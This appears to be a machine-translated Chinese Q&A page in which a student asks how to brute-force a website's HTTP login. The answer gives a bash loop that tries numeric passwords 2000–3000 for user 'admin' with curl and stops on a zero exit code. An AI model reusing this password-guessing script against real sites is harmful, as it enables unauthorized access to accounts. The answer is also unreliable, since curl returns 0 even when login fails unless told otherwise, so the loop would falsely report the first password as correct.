作为计算机科学的学生,我现在正在学习使用命令行。我需要使用蛮力登录网站,知道用户名和密码是一定范围内的整数。这是我到目前为止所拥有的,但似乎不起作用。
for i in {2000..3000}; do curl http://admin:$i@mywebsite.com/link; done
Run Code Online (Sandbox Code Playgroud)
我该如何继续?
您的例程缺少的是一旦i找到正确的退出方式。为此,您可以查看 curl 返回的退出代码:
for i in {2000..3000}
do
curl http://admin:$i@mywebsite.com/link
if [ "$?" -eq 0 ]; then
echo Found "$i"
break
fi
done
Run Code Online (Sandbox Code Playgroud)
curl一切正常时的退出值为0,可以在程序停止后通过检查特殊变量直接检查$?。使用man curl并搜索EXIT CODE以查看curl其退出代码可以告诉您的所有不同信息。